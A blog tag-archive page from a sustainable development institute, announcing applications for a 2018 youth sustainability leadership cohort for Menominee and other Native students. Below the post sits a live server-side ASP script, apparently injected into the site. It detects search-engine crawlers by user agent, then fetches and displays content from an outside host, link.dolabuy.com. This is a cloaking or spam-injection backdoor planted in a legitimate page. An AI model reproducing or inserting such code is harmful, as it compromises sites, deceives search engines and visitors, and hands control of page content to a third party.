Tag Archive: higher education

Jan 11

2018 Sustainability Leadership Cohort Now Accepting Applications

The Sustainability Leadership Cohort (SLC) is designed to support Menominee Nation as well as other Native youth by helping them build leadership skills, promoting higher education, and ultimately, encouraging the next generation of community leaders. The SLC’s goal is to ignite interest and broaden understanding of sustainability through place-based experiences. This year students in grades …

Continue reading »

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2018/01/2018-sustainability-leadership-cohort-now-accepting-applications/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>